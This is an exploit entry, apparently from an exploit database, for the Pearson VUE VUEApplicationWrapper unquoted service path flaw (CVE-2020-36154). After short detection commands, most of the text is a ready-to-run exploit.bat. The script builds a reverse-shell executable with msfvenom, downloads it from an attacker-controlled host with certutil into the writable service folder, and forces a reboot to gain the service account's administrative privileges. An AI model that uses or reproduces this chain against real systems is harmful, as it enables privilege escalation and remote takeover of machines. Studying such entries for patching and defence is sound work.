Pearson Vue - VUEApplicationWrapper Unquoted Service Path (CVE-2020-36154)
Pearson Vue VTS 2.3.1911 Installer - VUEApplicationWrapper Unquoted Service Path
The Application Wrapper is the component that automates the Pearson VUE Testing System. The Wrapper is a scheduler that runs in the background on the test center’s server. VUEApplicationWrapper service has an unquoted service path vulnerability and insecure file permissions on "\Pearson VUE\" directory that allows to overwrite by everyone so that unauthorized local user can leverage privileges to VUEService user that has administrative rights.
# Detection of unquoted service path:​C:\Users\VUEService>wmic service get name, pathname, displayname, startmode| findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i "Pearson" |findstr /i /v """VUE Application WrapperVUEApplicationWrapper C:\Pearson VUE\VUETesting System\bin\VUEWrapper.exeAuto​C:\Users\VUEService>sc qc VUEApplicationWrapper[SC] QueryServiceConfig SUCCESS​SERVICE_NAME: VUEApplicationWrapperTYPE : 10 WIN32_OWN_PROCESSSTART_TYPE : 2 AUTO_STARTERROR_CONTROL : 1 NORMALBINARY_PATH_NAME : C:\Pearson VUE\VUE TestingSystem\bin\VUEWrapper.exeLOAD_ORDER_GROUP :TAG : 0DISPLAY_NAME : VUE Application WrapperDEPENDENCIES : lanmanworkstationSERVICE_START_NAME : .\VUEService​​#Detection of insecure file permissions:​PS C:\Users\VUEService> Get-Acl -Path "c:\Pearson Vue\"​​Directory: C:\​​Path Owner Access---- ----- ------Pearson Vue BUILTIN\Administrators Everyone Allow FullControl...​
exploit.bat :
@ECHO OFFECHO [+] executing command: "wmic service get name,pathname,displayname,startmode | findstr /i "Auto" | findstr /i"Pearson" | findstr /i /v "C:\Windows\\" | findstr /i /v """"wmic service get name,pathname,displayname,startmode | findstr /i "Auto" |findstr /i "Pearson" | findstr /i /v "C:\Windows\\" | findstr /i /v """sc qc VUEApplicationWrapperpowershell.exe -ep bypass -nop -c "Get-Acl -Path 'c:\Pearson Vue\'"ECHO [+] Enumeration was completed successfully.::Create VUE.exe with following commands on your kali and serve it on port 80. Also listen port 443 with netcat for reverse shell.::msfvenom -p windows/x64/shell/reverse_tcp LHOST=<Your IP Address>LPORT=443 -f exe > VUE.exeECHO [*] If you create VUE.exe under "\Pearson VUE\" directory with your privileges, you might be able to get VUEService user privileges after windows was rebooted.certutil -urlcache -split -f http://<YOUR_IP_ADDRESS>/VUE.exe "C:\PearsonVUE\VUE.exe"ECHO [*] Downloading VUE executable...PAUSEIF EXIST "C:\Pearson VUE\VUE.exe" (ECHO [+] The download was successful.) ELSE (ECHO [-] The download was unsuccessful.PAUSE)ECHO [!] If you continue, system will be rebooted.PAUSEshutdown /r /t 0::code end
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